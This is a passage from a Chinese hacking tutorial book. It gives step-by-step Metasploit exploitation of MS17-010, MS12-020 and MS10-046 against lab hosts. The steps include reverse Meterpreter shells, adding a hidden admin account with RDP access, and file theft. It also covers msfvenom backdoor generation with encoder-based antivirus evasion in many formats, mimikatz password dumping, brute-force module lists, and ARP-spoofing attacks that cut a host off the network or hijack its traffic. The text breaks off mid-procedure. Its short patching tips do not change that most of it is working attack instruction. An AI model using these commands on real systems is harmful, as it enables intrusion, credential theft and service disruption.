说明问题即可，同时对 arp 攻击及离线破解进行解密。

3.3.1 漏洞利用

本节通过讲解几个微软漏洞的利用过程及木马后门解密msf的

基本使用，希望大家不要用书中的技术做违法事情。

3.3.1.1 ms17-010

警告：本漏洞告诉我们即便是电脑什么都不做，都有可能被黑

客入侵；

我们现在百度中搜索“微软 ms17-010”，在官网查看漏洞信息，

可以看到windows系列好多系统版本都有这个漏洞，出于篇幅限制，

没有全部截图，读者可以自行查阅，如图 3.3.1.1、3.3.1.2 所示：

如图 3.3.1.1 搜索漏洞
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好，我们开始在虚拟机利用这个漏洞解密黑客入侵，目标靶机

IP：192.168.202.136，如图 3.3.1.3 所示：

如图 3.3.1.2 微软漏洞公告

图 3.3.1.3 查询靶机 IP
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第一步：启动 msf

输入msfconsole –q如图3-28所示，-q的意思是隐藏banner

提示信息，例如会展示有多少个漏洞利用模块等等这些信息都隐藏

起来，这里需要说明一下图 3.3.1.4 中的启动的 banner 图标鸭子

是随机显示的，每次显示的都不一样，这个不用管它。

第二步：设置 exploit 和 payload

输入 search ms17-010，搜索和 ms17-010 相关的模块，如图

3.3.1.5 所示，

#-序号；

Name：模块名字，以 auxiliary 开头的是辅助模块，以 exploit

开头的是漏洞利用模块；

Disclosure Date：披露日期；

Rank：等级；

图 3.3.1.4 以隐藏 banner 方式启动 msf
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Check：检查；

Description：模块描述；

这里我们选择序号为 4的漏洞模块，输入 use 4 按回车即可，

如图 3.3.1.6 所示：

图 3.3.1.5 搜索漏洞模块

图 3.3.1.6 选择 4 号漏洞模块
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含义解释：

msf6 exploit(windows/smb/ms17_010_psexec)：代表目前我

们已经选择了 4号漏洞模块，

[*] Using configured payload

windows/meterpreter/reverse_tcp：与 4 号漏洞利用模块相对应

的默认 payload，那么这个 payload 是用来做什么的呢？这里举个

例子，假设黑客发现了银行存在某个漏洞（比如工作人员进门时安

全门关闭时间比较慢，导致可以有 2 秒钟时间进入），通过这个漏

洞可以做什么呢？是破坏银行办公设备，还是盗取现金？现在是相

当于黑客想通过这 2秒钟的时间漏洞在银行悄悄挖一个后门，这个

后门可以通过地道最终连接到黑客家里。这样黑客可以通过这个后

门做什么都可以了，可以破坏银行办公设备，也可以盗取现金，还

可以安装摄像头记录工人员账号密码等等，也就是说这个银行已经

被他控制了，他可以任意操作银行。二者之间的关系可以通过下表

来对比理解。

银行 靶机

漏 洞 信

息 MS/CVE

安全门关闭时间

慢 2 秒钟

存在 ms17-010 漏洞

漏 洞 利 人进入银行内部 选择 4 号漏洞模块
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用 exploit

做 什 么

payload

开通一个后门暗

道

反弹一个 meterpreter

类型的 tcp 链接

最 终 目

的

通过后门控制银

行

通过 tcp 链接控制靶机

实 现 哪

些勾当

破坏银行设备、

盗取现金等

获取任意数据、摄像头

监控等一些操作

当然这个 payload 还可以根据需要设置成别的，我们来看看都

有哪些 payload，我们输入 show payloads 按回车如图 3.3.1.7 所

示，这些都是针对当前 windows/smb/ms17_010_psexec 这个漏洞利

用模块可以使用的 payload，

图 3.3.1.7 查看 4号漏洞模块支持的 payload
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我们如果想更换 payload，直接输入：set payload <payload

名 称 > 即 可 ， 这 里 我 还 是 设 置 成 默 认 的 ： set payload

windows/meterpreter/reverse_tcp ， 下 面 提 示 payload =>

windows/meterpreter/reverse_tcp 说明当前 payload 已经设置成

功，如图 3.3.1.8 所示：

现在我们来查看当前4号漏洞模块exploit以及这个tcp链接

的 payload 都有哪些参数选项，因为我们只是选择了 exploit 和

payload，还并没有

设置要攻击靶机的

IP地址，所以肯定有

一个地方需要输入

IP参数，输入 show

options 回车如

下 3.3.1.9 所示：

图 3.3.1.8 设置 4号漏洞模块的 payload

图 3.3.1.9 查看 4号漏洞模块 exploit 及 payload 参数
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主要参数解释：

Exploit 参数：

RHOSTS：要攻击的目标主机 IP 地址，可以填写单个或者某个

范围的 IP地址；

RPORT：攻击端口，默认已经写好了 445，这里就不要修改了，

除非在信息收集阶段发现对方的 ssh 服务部是 445 端口，比如改成

了 8001 端口，那么这里也要改成 8001，端口保持一致。由于目标

主机 ssh 服务对应的就是 445 端口，所以这里就不需要修改了。

Payload 参数：

LHOST：tcp 链接反弹链接到的地址，默认就连接到我们当前

kali 这个 IP 地址，已经默认设置好不需要修改；

LPORT：tcp 链接反弹链接到的地址的端口，默认是 4444，这

里保持默认就行了。

设置参数：

目前我们只需要设置 RHOSTS 这个参数就可以了，参数设置格

式 set RHOSTS <目标 IP>，这里 RHOSTS 也可以小写，黑客一般都

是小写的，他只需要输入：rh然后按 TAB 键就自动补齐了，这是一

个技巧，要学会经常用 TAP 键补齐。
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输入：set rhosts 192.168.202.136 回车如图 3.3.1.10 所示：

我们再来查看一下参数是不是写进去了，依然是用 show

options 回车如图 3.3.1.11 所示：

参

数设置没问题之后，我们输入 run 或者 exploit 来开始入侵，

我比较喜欢输入 exploit，可能是对漏洞这个单词情有独钟吧，如

图 3.3.1.12 所示：

图 3.3.1.10 设置参数

图 3.3.1.11 参数设置成功
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我们看到 msf 给我们返回来了一个 meterpreter，这就是反弹

回来的 tcp 链接。我们看一下 msf 是如何实现的呢？

Uploading payload... oWJvVJkB.exe：开始上传 payload 后

门程序 oWJvVJkB.exe;

Created \oWJvVJkB.exe...:文件 oWJvVJkB.exe 创建成功；

Service started successfully：服务开启成功，其实就是运

行 oWJvVJkB.exe 这个后门程序成功了；

Deleting \oWJvVJkB.exe：删除 oWJvVJkB.exe

这就是 meterpreter 的基本创建过程，它是通过上传一个所及

命名的 exe 程序到目标主机，程序里设置了目标主机及黑客主机的

IP参数，然后运行这个程序使得目标主机与 kali 主机建立 tcp 连

接。后续在其它章节我们会利用这个原理来生成这个exe后门程序，

图 3.3.1.12 运行程序
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然后运行之后依然可以反弹 meterpreter 连接，这里先不讲。

我们来看一下这个 meterpreter 都能做什么，输入 help 按回

车，首先看到它的核心命令列表，如图 3.3.1.13 所示：

它还支持文件系统命令，如图 3.3.1.14 所示：例如可以使用

download 命令下载文件到 kali 主机，还可以使用 upload 命令上传

文件到靶机。通过这些命令可以实现对目标系统文件的全部控制。

图 3.3.1.13 核心命令
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针对目标操作系统的命令，如图 3.3.1.15 所示：

图 3.3.1.14 文件系统命令

图 3.3.1.15 系统命令
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还有交互命令及摄像头命令等，通过交互命令可以实现对目标

的键盘进行记录、截屏等，通过摄像头命令可以自动打开目标计算

机的摄像头进行视频录制或者拍照，命令列表如图 3.3.1.16 所示：

Meterpreter 命令演示：

1）查看系统信息

输入命令：sysinfo，按回车，如图 3.3.1.17 所示：

图 3.3.1.16 交互命令及摄像头命令
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2）获得系统 cmd 命令界面

输入命令：shell，按回车进入到 cmd 命令界面此时就相当于

在目标输入的 cmd 命令界面，然后输入 ipconfig 查看 ip 地址，此

时显示的是目标 ip说明确实是目标 cmd，图中乱码是中文编码问题，

先不用管它，如图 3.3.1.18，3.3.1.19 所示：

图 3.3.1.17 查看系统信息

图 3.3.1.19 cmd 界面
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通过这个界面就可以完全控制目标主机了，例如添加一个新的

账号等操作，通过这个账号就可以登录目标电脑了。当然我们也可

以输入 exit 退出 shell，返回到 meterpreter 当中，通过

meterpreter 支持的命令来创建账号密码也是可以的。

增加用户：run getgui -u hacker -p 123456，含义：账号：

hacker 密码：123456 如图 3.3.1.20 所示：

用户提权 net localgroup administrators hacker /add 如

图

3.3.1.21 所示：

打开远程 3389 端口： run getgui –e 如图 3.3.1.22 所示：

图 3.3.1.20 添加账号

图 3.3.1.21 提升用户权限

图 3.3.1.22 打开远程桌面连接端口



黑客解密档案

第 59 页

打开远程桌面： rdesktop 192.168.202.136:3389，在窗口中

输入新创建的账号密码，然后登陆，如图 3.3.1.23,3.3.1.24 所示：

图 3.3.1.23 输入账号密码

图 3.3.1.24 成功进入靶机远程桌面
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3）下载上传文件

下载文件 download 命令，我们先在靶机 c 盘根目录新建一个

jimi.txt 文件，然后里面随便写一些东西假设为我博客 ftp 密码如

图 3.3.1.25 所示：

我们把它下载到 kali 电脑/root 目录下，命令如下; download

C:/jimi.txt /root，如图 3.3.1.26、3.3.1.27 所示

图 3.3.1.25 机密内容

图 3.3.1.26 下载文件
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Meterpreter 的命令还有很多，会在后续案例中进行逐一解密。

通过本节学习想你应该对 msf 渗透测试框架有一个基本的了解了。

启发：电脑要及时给系统打补丁，打补丁方法可以到官网下载

相关补丁文件，或用安全软件进行漏洞扫描，自动修复；

3.3.1.2 ms12-020

背景：最近小敏遇到一件很苦恼的事情，她的电脑经常无缘无

故的蓝屏，导致她的项目总是在最关键的时候崩盘，最终没有在规

定时间节点完成任务。

图 3.3.1.27 查看已下载的文件与原文件一致
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分析：小敏遇到的问题可能的原因还是比较多的，但是这么具

有针对性的蓝屏，很有可能被黑了。

下面我们就来解密黑客是如何利用 ms12-020 这个漏洞让电脑

蓝屏的，首先我们来看一下这是一个怎样的漏洞，如图 3.3.1.28

所示，不难看出这是一个利用远程桌面来执行的漏洞：

好了，开始模拟：

第一步，启动 msf，搜索 ms12-020 这个漏洞的相关模块，如图

图 3.3.1.27 查看已下载的文件与原文件一致
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3.3.1.28 所示：

我们从描述中不难看出，第一个是通过给远程桌面发送 dos 数

据包来攻击的，第二个是用来检查的，我们先用第二个来检查一下，

输入 use 1,并查看参数配置：

图 3.3.1.28 搜索相关模块

图 3.3.1.29 查看参数配置
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我们设置目标 IP为小敏电脑 IP:192.168.202.136，这里的语

法已经在之前的模块中讲到，因此不再叙述，然后开始执行，我们

看到目标主机存在这个漏洞！如图 3.3.1.30 所示：

好的，那我们开始进行蓝屏攻击，首先需要回到选择模块的页

面，我们输入 back 然后回车即可，然后输入 use 0 此时相当于回

到了图 3.3.1.28，如图 3.3.1.31 所示：

同样我们查看需要的配置参数，并且设置目标 IP，如图 3.3.1.32

所示：

图 3.3.1.30 检测目标主机存在这个漏洞

图 3.3.1.31 选择新的漏洞攻击模块
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此时我们先来看看小敏的电脑桌面还是正常的状态，如图 3.3.1.33

所示：

好的，我们现在输入“exploit”或者“run”来发起攻击，之

前演示的是 exploit，浙西我们用 run 来演示，如图 3.3.1.34 所示：

图 3.3.1.32 配置攻击参数

图 3.3.1.33 电脑正常工作状态

图 3.3.1.34 开始发送攻击数据包
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图 3.3.1.35 电脑受攻击后蓝屏

此时，目标主机已经蓝屏了，如图 3.3.1.35 所示：

这个漏洞的处理方法有两个，一个是关闭远程桌面连接，另一

个就是打好补丁。这不由的让我们想到一个开启远程桌面连接最常

用的功能都可以拿来利用，可见黑客真的是无孔不入。所以我们千

万要小心，一定要记得及时给系统打补丁。

3.3.1.3 ms10-046

这个漏洞可以实现通过共享文件夹或者打开链接的方式，实现
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对电脑电脑的控制，我们有前面两节的基础，下面我就直接上截图

了，相信你可以看懂。先搜索漏洞，选择模块如下图 3.3.1.36 所

示：

这里默认设置的 payload 是 windows/meterpreter/reverse_tcp，

我们保持默认即可，然后查看参数，并设置 IP，注意这里要设置成

本地 IP，因为是在本地 IP搭建服务来让其他 IP访问，所以不能盲

目设置，一定要看说明。

图 3.3.1.36 搜索模块



黑客解密档案

第 68 页

这里可以发送共享链接或者网址如图 3.3.1.38 所示，如果是

网址则为 http://192.168.202.133/123.lnk,或者为

http://192.168.202.133:80/,此时已经提示 Server started 代表

服务已经开启，可以在其它主机访问：

我们在目标主机访问这个链接：http://192.168.202.133:80/，如

图 3.3.1.37 查看参数

图 3.3.1.38 开启 http 服务及文件共享服务
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图 3.3.1.39，图 3.3.1.40 所示，先打开网址，然后跳转到了共享

文件夹地址：

其实，本身的目的就是跳转到共享，此时创建了一个 session 会话，

如图 3.3.1.41 所示：

图 3.3.1.39 打开网址

图 3.3.1.40 跳转到共享



黑客解密档案

第 70 页

我们通过 sessions –i 1 命令来切换到 session 1,从而打开

meterpreter,然后输入 sysinfo 查看主机信息，如图 3.3.1.42 所

示：

此时就实现了对目标主机的渗透攻击。

关于 session 解释：session 代表会话，加入黑客把这个链接

发给了 3个人那么就会生成 3个会话，此时如果黑客想控制第二个

人，那么就只需要输入 sessions – i 2,（ sessions – i

<sessionID>,语法含义：切换到执行 sessionID 的会话中）即可进

入第二个人的会话中，这个会话就是反弹回来的 meterpreter，然

后通过 meterpreter 就可以对第二个人的电脑进行控制了。

图 3.3.1.41 成功创建 session

图 3.3.1.42 成功打开 meterpreter 并查看主机信息
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启发：

1、不要打开陌生链接，其实这里指的是不要轻易与外界进行

不信任的数据连接。

黑客一般不会直接发送一个连接给你，这也太 low 了，最起码

也要进行一下基本的伪装，比如写一个程序 A，它的功能就是打开

指定网站。然后黑客通过社工知道你正在寻找一款比较好用的录屏

工具，然后就将 A 与一个录屏软件捆绑，然后告诉你：“我从朋友

那里要了一个录屏工具，还挺好用的，要不发你试试？”，出于同

事的信任你会很高兴的答应，并且还怀有感激之情，当你在自己电

脑运行的时候录屏软件打开了，同时也打开了网站，你会认为是软

件自己打开的广告网站，然后关闭就拉到了，此时你就中招了，黑

客已经完全控制了你的电脑，甚至黑客可以通过程序 A打开网站后

自动关闭网站窗口，对于你而言只是闪了一下，再或者黑客以静默

的方式打开网站，根本不会出现网站弹窗，你毫无察觉。对于黑客

而言写一个这样的程序 A 是非常简单的。

还有你会不会认为：作者演示的都是基于 windows xp 的靶机，

肯定有很多漏洞。其实我想告诉你的是任何一个系统都有很多漏洞，

包括现在的win10系列以及基于linux衍生的各种操作系统都有很

多漏洞，比如我们搜索看一下 linux 系统有没有一些漏洞，输入
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search linux,如图 3.3.1.43 所示：

2、不要打开陌生共享文件

其实这里也是大有文章可做的，同事间经常为了协同办公共享

一些目录，都是可以利用的，不知道你有没有感到一丝丝的恐惧？

3、利用安全软件及时给系统修补漏洞

当电脑上安全软件提示需要修复时，一定要及时修复，很多时

候他们都是根据漏洞库扫描发现系统存在漏洞，所以安装安全软件

还是很有必要的。

图 3.3.1.43 linux 漏洞利用模块
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3.3.2 后门木马

在上一节中我们通过3个漏洞案例向大家解密了黑客是如何利

用系统漏洞的，过程中我们发现他们本质基本上都是上传了一个程

序，然后通过这个程序实现的漏洞利用，这种能够使得黑客主机与

目标主机进行连接控制的程序我们简称为后门程序，或者后门木马。

在漏洞利用过程中他们都是根据参数自动生成、自动上传、自动执

行、执行成功后自动删除的，那么我们可不可以自己创建一个后门

木马来自定义这些步骤呢？当然可以！

其实就是当系统不存在漏洞的时候我们可以通过其他办法上

传制作好的后门程序，依然可是反弹回来 meterpreter 连接，下面

我们就来进行解密演示：

黑客 kali 主机与本地物理主机采用桥接方式连接，kali 主机

IP：192.168.31.6，物理主机 IP：192.168.31.211，如图 3.3.2.1

所示：

图 3.3.2.1 物理主机与虚拟机 kali 系统 IP
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第一步：生成后门木马

这里用到的工具是 msfvenom，我们先输入 msfvenom –h查看

帮助信息如图 3.3.2.2 所示：

这里对部分主要命令进行讲解：

首先看一下提示：

MsfVenom - a Metasploit standalone payload generator.

MsfVenom 是一个 Metasploit 独立有效负载生成器。

Also a replacement for msfpayload and msfencode

图 3.3.2.2 msfvenom 帮助信息
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也是 msfpayload 和 msfencode 的替代品。

言外之意就是通过 MsfVenom 可以实现生成 payload 和经过

encode 编码处理的后门程序。

-l：查看模块列表，包括 payloads, encoders, nops,

platforms, archs, encrypt, formats, all，这些模块的列表，

如果是 all 则为查看全部的，例如我们查看一下它支持哪些格式？

输入命令：msfvenom -l formats 如图 3.3.2.3 所示：

图 3.3.2.3 平台支持的格式
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输入命令即可查它支持的目标平台如图 3.3.2.4 所示：

我 们 再 来 看 一 下 有 哪 些 payload 和 encoder, 如 图

3.3.2.5,3.3.2.6 所示，这里由于 payload 非常多，因此在后面加

上：| grep android 意思是只过滤出和 android 相关的，windows

同理：

图 3.3.2.4 平台支持的格式



黑客解密档案

第 77 页

图 3.3.2.5 支持的 payload

图 3.3.2.6 支持的 encoder
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Encoder 是用来对我们生成的木马后门进行编码处理，目的是

达到免杀的做用，常用的为效果比较好的这个 x86/shikata_ga_nai，

如图 3.3.2.7 所示：

-e:指定 encoder 编码器

-i:指定编码次数

-p:指定 payload

-f：指定输出格式

-o：指定输出文件路径

下面我们来进行配置，输入以下命令，生成后门程序如图

3.3.2.8 所示：

msfvenom -p windows/meterpreter/reverse_tcp

lhost=192.168.31.16 lport=4444 -e x86/shikata_ga_nai -i 13

-f exe -o /root/dongwenlong.exe

对应含义如下表所示：

图 3.3.2.7 推荐 encoder
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-p

windows/meterpreter/reverse

_tcp

指 定 payload 为

windows/meterpreter/reverse

_tcp

lhost=192.168.31.16

lport=4444

指 定 黑 客 kali 主 机

IP192.168.31.16，端口 4444,

将来靶机会通过 4444 端口自动

链接到这台黑客 kali 主机

-e x86/shikata_ga_nai -i

13

指 定 采 用

x86/shikata_ga_nai 编码器并

且进行 13次编码

-f exe 指定输出后门程序格式为

exe 格式

-o /root/dongwenlong.exe 指 定 输 出 文 件 为

/root/dongwenlong.exe

如图 3.3.2.8 生成后门程序
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如上图所示经过 13 次编码最终生成了指定的程序，我们看一

下在 root 目录下存在 dongwenlong.exe 这个程序，如图 3.3.2.9

所示：

第二步：开启监听

当目标主机运行这个程序的时候，需要连接到 kali 系统 4444

端口，但是 kali 怎么知道对方什么时候连接呢？因此需要在黑客

端及 kali 主机中开启监听，监听别人运行这个程序连接到 4444 端

口。

1 ） 新 建 终 端 ， 开 启 msf ， 通 过 use 命 令 选 择

exploit/multi/handler这个监听模块，该模块对应的默认payload

与我们生成后门 dongwenlong.exe 时使用的 payload 不一致，因此

图 3.3.2.9 生成后门程序文件
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通过 set 命令改为一致的，这样才可以监听的到。如图 3.3.2.10

所示：

2）配置参数，这里同样要配置成黑客 IP的相关参数，说白了

就是监听的端口，当后门程序 dongwenlong.exe 运行时会想主机发

送连接请求，请求信息包括 IP 地址、端口等信息，因此黑客端就

必须要监听这两个信息，也就是说这里要与生成后门程序设置的 IP

和端口保持一致，具体配置如图 3.3.2.11 所示：

此时，由于端口设置的是 4444，与默认的一致，因此不需要修

图 3.3.2.10 选择监听模块及 payload

图 3.3.2.11 配置监听 IP 地址和端口



黑客解密档案

第 82 页

改，本质上是我知道它默认的就是 4444，因此在生成后门程序

dongwenlong.exe 时就是采用的 4444 端口，主要是因为想偷个懒~

然后我们输入 exploit 开始监听，如图 3.3.2.12 所示：

我们把生成的 dongwenlong.exe 文件拷贝到主机桌面，提前关

闭杀毒软件，然后双击运行即可建立 tcp 连接并返回 meterpreter，

如图 3.3.2.13 所示：

图 3.3.2.12 开始监听

如图 3.3.2.13 双击运行程序即可建立连接
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生成其它格式的后门木马：

安卓 app:

msfvenom -p android/meterpreter/reverse_tcp

LHOST=192.168.31.16 LPORT=8888 -o ~/Desktop/test2.apk

Linux:

msfvenom -p linux/x86/meterpreter/reverse_tcp

LHOST=192.168.31.16 LPORT=8888 -f elf > shell.elf

Mac:

msfvenom -p osx/x86/shell_reverse_tcp

LHOST=192.168.31.16 LPORT=8888 -f macho > shell.macho

PHP：

msfvenom -p php/meterpreter/reverse_tcp

LHOST=192.168.20.27 LPORT=4444 -f raw -o test.php

ASP:

msfvenom -p windows/meterpreter/reverse_tcp

LHOST=192.168.31.16 LPORT=8888 -f asp > shell.asp

ASPX：

msfvenom -p windows/meterpreter/reverse_tcp

LHOST=192.168.31.16 LPORT=8888 -f aspx > shell.aspx
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JSP:

msfvenom -p java/jsp_shell_reverse_tcp

LHOST=192.168.31.16 LPORT=8888 -f raw > shell.jsp

Bash：

msfvenom -p cmd/unix/reverse_bash LHOST=192.168.31.16

LPORT=8888 -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=192.168.31.16

LPORT=8888 -f raw > shell.pl

Python

msfvenom -p python/meterpreter/reverser_tcp

LHOST=192.168.31.16 LPORT=8888 -f raw > shell.py

这里介绍一下相关命令及 msf 一些常用模块：

基本命令：

background # 让 meterpreter 处于后台模式

sessions -i number # 与会话进行交互，number 表示第 n 个

session

quit # 退出会话
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shell # 获得命令行

cat c:\\boot.ini # 查看文件内容

getwd # 查看当前工作目录 work directory

upload /root/Desktop/netcat.exe c:\\ # 上传文件到目标

机上

download 0xfa.txt /root/Desktop/ # 下载文件到本机上

edit c:\\boot.ini # 编辑文件

search -d d:\\www -f web.config # search 文件

ps # 查看当前活跃进程

migrate pid # 将 Meterpreter 会话移植到进程数位 pid 的进

程中

execute -H -i -f cmd.exe # 创建新进程 cmd.exe，-H 不可

见，-i 交互

getpid # 获取当前进程的 pid

kill pid # 杀死进程

getuid # 查看权限

sysinfo # 查看目标机系统信息，如机器名，操作系统等

getsystem #提权操作

timestompc:/a.doc -c "10/27/2015 14:22:11" #修改文件的
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创建时间

迁移进程：

meterpreter > ps

自行选择 PID

meterpreter > migrate pid

获取敏感信息：

run post/windows/gather/checkvm #是否虚拟机

run post/windows/gather/enum_applications #获取安装软

件信息

run post/windows/gather/dumplinks #获取最近的文件操作

run post/windows/gather/enum_ie #获取 IE 缓存

run post/windows/gather/enum_chrome #获取 Chrome 缓存

run scraper #获取常见信息

获取明文密码：

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > load mimikatz

Loading extension mimikatz...success.
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meterpreter > msv

[+] Running as SYSTEM

[*] Retrieving msv credentials

meterpreter > kerberos

[+] Running as SYSTEM

[*] Retrieving kerberos credentials

meterpreter > mimikatz_command -f samdump::hashes

Ordinateur : Testing

BootKey : 8c2c8d96e92a8ccfc407a1ca48531239

meterpreter > mimikatz_command -f

sekurlsa::searchPasswords

[0] { Croxy ; Testing ; hehe }

[1] { test ; Testing ; test }

一些常用的破解模块

auxiliary/scanner/mssql/mssql_login

auxiliary/scanner/ftp/ftp_login

auxiliary/scanner/ssh/ssh_login

auxiliary/scanner/telnet/telnet_login
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auxiliary/scanner/smb/smb_login

auxiliary/scanner/mssql/mssql_login

auxiliary/scanner/mysql/mysql_login

auxiliary/scanner/oracle/oracle_login

auxiliary/scanner/postgres/postgres_login

auxiliary/scanner/vnc/vnc_login

auxiliary/scanner/pcanywhere/pcanywhere_login

auxiliary/scanner/snmp/snmp_login

auxiliary/scanner/ftp/anonymous

auxiliary/admin/realvnc_41_bypass (Bypass VNCV4 网上也

有利用工具)

auxiliary/admin/cisco/cisco_secure_acs_bypass

auxiliary/admin/http/jboss_deploymentfilerepository （内网

遇到 Jboss 最爱:)

auxiliary/admin/http/dlink_dir_300_600_exec_noauth (Dlink

命令执行)

auxiliary/admin/mssql/mssql_exec （用爆破得到的 sa弱口令进

行执行命令 没回显:(）

auxiliary/scanner/http/jboss_vulnscan (Jboss 内网渗透的好



黑客解密档案

第 89 页

朋友)

auxiliary/admin/mysql/mysql_sql (用爆破得到的弱口令执行

sql 语句:)

auxiliary/admin/oracle/post_exploitation/win32exec （爆破

得到 Oracle 弱口令来 Win32 命令执行）

auxiliary/admin/postgres/postgres_sql (爆破得到的 postgres

用户来执行 sql 语句)

一些好用的脚本

uxiliary/scanner/rsync/modules_list （Rsync）

auxiliary/scanner/misc/redis_server (Redis)

auxiliary/scanner/ssl/openssl_heartbleed (心脏滴血)

auxiliary/scanner/mongodb/mongodb_login (Mongodb)

auxiliary/scanner/elasticsearch/indices_enum

(elasticsearch)

auxiliary/scanner/http/axis_local_file_include (axis 本地

文件包含)

auxiliary/scanner/http/http_put (http Put)

auxiliary/scanner/http/gitlab_user_enum (获取内网 gitlab 用

户)
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auxiliary/scanner/http/jenkins_enum (获取内网 jenkins 用

户)

auxiliary/scanner/http/svn_scanner （svn Hunter）

auxiliary/scanner/http/tomcat_mgr_login (Tomcat 爆破)

auxiliary/scanner/http/zabbix_login （Zabbix )

以上命令只占 msf 所有命令的冰山一角，msf 可以加载第三方

插件无限扩展，因此这里不做更为详细的展示，你只要明白他能做

非常多的事情就可以了。

回来我们看一下这个 dongwenlong.exe 程序，在演示时我们提

前关闭了杀毒软件，现在右键用 360 杀毒软件进行扫描看一下是否

可以识别，结果很明显成功识别出病毒，如图 3.3.2.14 所示：

图 3.3.2.14 被杀毒软件识别
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那么你是不是以为安装了杀毒软件就完事大吉了？没那么简

单，黑客可以通过免杀处理之后让生成的木马程序轻松绕过杀毒软

件，并正常使用，这里会在免杀相关章节中进行解密。

其实还有一种更为简单的方法来生成后门程序，我们上面使用

的命令相对来说说还是比较多的，这里介绍一个简化的命令 msfpc,

如图 3.3.2.15 所示

我们只需要输入：msfpc windows 192.168.31.16 4444 即可，

指定是windows平台，指定好IP和端口，然后程序自动设置payload

参数，并且生成针对于 windows 平台的 exe 格式可执行程序，同时

图 3.3.2.15 msfpc 帮助文档
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生成用于监听的 rc资源文件，如图 3.3.2.16 所示：

图 3.3.2.16 msfpc 生成后门及监听资源文件

我们根据提示运行这个资源文件，这里的资源文件意思是我们

为了避免重复设置payload参数把相关命令按照执行顺序打包成一

个资源文件，这里我们先查看一下这个文件如图 3.3.2.17 所示，

图 3.3.2.17 查看资源文件

为了快速配置选择这个文件批量执行里面的代码，其中-r 参

数就是指定资源文件，开启监听如图 3.3.2.18 所示：
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图 3.3.2.18 开启监听

然后将生成的 exe 文件在物理机上运行即可反弹连接了。

总结：黑客除了可以利用漏洞上传后门木马之外还可以通过直

接生成后门木马程序，通过在目标主机上运行程序的方式来实现反

弹连接。这里出于需要我们只是自己手动的去运行程序来模拟渗透

攻击，真实情况不是这样的。很多时候都是通过把后门木马经过层

层伪装来欺骗你去运行，比如在 msfvenom 命令中可以通过-x参数

指定要捆绑的正常程序，比如捆绑上 qq.exe,然后放到第三方网站，

当别人在第三方网站下载所谓的破解版软件时就有可能中招了。针

对于以上问题我们再这里总结如下：

1、不要轻易接收别人发来的陌生文件；

2、不要在第三方平台下载软件，一定要去官网下载，即便是

有破解版的需求也要去一些大的平台下载，并且下载下来之后先进

行杀毒检测；
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3.3.3 arp 攻击

ARP（Address Resolution Protocol）是地址解析协议，它的

作用是实现 IP 地址到 MAC 地址的转换。在计算机间通信的时候，

计算机要知道目的计算机是谁（就像我们人交流一样，要知道对方

是谁），这中间需要涉及到 MAC 地址，而 MAC 是真正的电脑的唯一

标识符。

为什么需要 ARP 协议呢？因为在 OSI 七层模型中，对数据从上

到下进行封装发送出去，然后对数据从下到上解包接收，但是上层

（网络层）关心的 IP 地址，下层关心的是 MAC 地址，这个时候就

需要映射 IP和 MAC。

当两台计算机在同一个局域网通信，我们以 ping 命令为例来

演示 arp 解析 IP 和 MAC 的流程，如图 3.3.3.1 所示：

图 3.3.3.1 arp 缓存表记录数据流程
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① PC1 要向 IP2 发送通信数据；

② PC1首先先在自己的ARP缓存表中查看IP2对应的MAC地址,

发现没有

③ PC1 向局域网中发起广播说到：我是 IP1，我的 MAC 地址是

MAC1，谁是 IP2?

PC2 收到消息首先把 IP1 和 MAC1 存入 ARP 缓存表中

④ 然后 PC2 告诉 PC1 我是 IP2,我的 MAC 地址是 MAC2

PC2 收到回复后将 IP2 和 MAC2 存入 ARP 缓存表中

至此完成了 ARP 缓存表的数据记录，后续当 PC1 箱 IP2 发送请

求的时候，首先在自己的缓存表中找到 MAC2,然后通过 MAC2 发送数

据即可实现数据通信。

3.3.3.1 断网攻击

原理：将目标主机对应的路由 MAC 地址进行修改，导致其找不

到路由的真正 MAC 地址，无法上网

实验环境：

路由 黑客 目标

IP 192.168.31.1 192.168.31.16 192.168.31.17

MAC 88:c3:97:d4:2a:83 00:0c:29:e9:40:70 00:0c:29:5b:4e:87
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我们先分别通过 arp –a命令查看各自主机 ARP 缓存表，此时

ARP 缓存表中没有存储对方 IP 和 MAC 地址，如图 3.3.3.2 所示：

图 3.3.3.2 kali 和 win10 ARP 缓存表

我们在 kali 中 ping 一下 win10 主机的 IP：192.168.31.17 此

时就会走上面那个流程，流程执行完之后，kali 系统 ARP 缓存中就

已经有目标 IP的网卡地址了，同样 win10 中也有了，如图 3.3.3.3，
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3.3.34 所示：

图 3.3.3.3 kali ARP 缓存表

图 3.3.3.4 win10 ARP 缓存表
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后续双方就可以通过在 ARP 缓存表中找到对应的 MAC 地址，然

后就可以正常通信了。其实如果细心观察不难发现双方的 ARP 缓存

表中都有路由 IP192.168.31.1 对应的 MAC 地址，因此双方在上网

的时候都可以通过路由 IP 找到对应路由 MAC 地址，然后通过它来

实现上网。

基于这个原理，试想一下如果我们把 win10ARP 缓存表中路由

IP对应的 MAC 地址改为其它值，这样 win10 不就找不到真正的路由

MAC 地址了，因此无法上网，从而实现断网攻击。

通过这个原理的工具比较多，这里我就用 kali 系统自带的

arping 来进行演示，首先我们看一下该命令的帮助文档，如图

3.3.3.5 所示：

图 3.3.3.5 arping 帮助文档

通过文档提示，我们来构建攻击语句如下：

arping -s 00:0c:29:e9:40:70 -S 192.168.31.1

192.168.31.17

含义：将192.168.31.17ARP缓存表中192.168.31.1对应的MAC
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地址改为 00:0c:29:e9:40:70，这个网卡地址为 kali 的，也可以随

意设置一个这里就改成 kali 的 MAC 地址，如图 3.3.3.6 所示：

图 3.3.3.6 开启 arp 欺骗断网攻击

此时我们在 win10 中查看一下路由 IP 对应的 MAC 地址是否发

生改变，如图 3.3.3.7 所示：

图 3.3.3.7 成功更改 win10 arp 表中 MAC 值
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接下来，win10 在上网的时候会通过路由IP找到kali主机MAC，

而不是路由，我们对这样的请求不进行转发，因此对方无法上网，

如图 3.3.38 所示无法 ping 或者打开百度网址：

正常情况：win10=>路由=>外网，现在是 win10=>kali，由于

kali 没有对数据进行转发因此就结束了，所以无法上网。

图 3.3.3.8 所示无法 ping 或者打开百度网址

3.3.3.2 流量劫持

流量劫持是基于上节技术，如果 win10=>kali 并没有结束，我

们再 kali 中打开转发开关，实现 win10=>kali=>路由=>外网，这样

win10 即可实现正常上网，但是，注意了，win10 所有的上网数据

都经过了 kali，因此 kali 可以从中获取到上网流量数据，比如

win10 上网查看的图片，或者的登录的账号密码等等。下面开始基
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于 3.3.1 内容继续演示：

第一步打开转发开关：

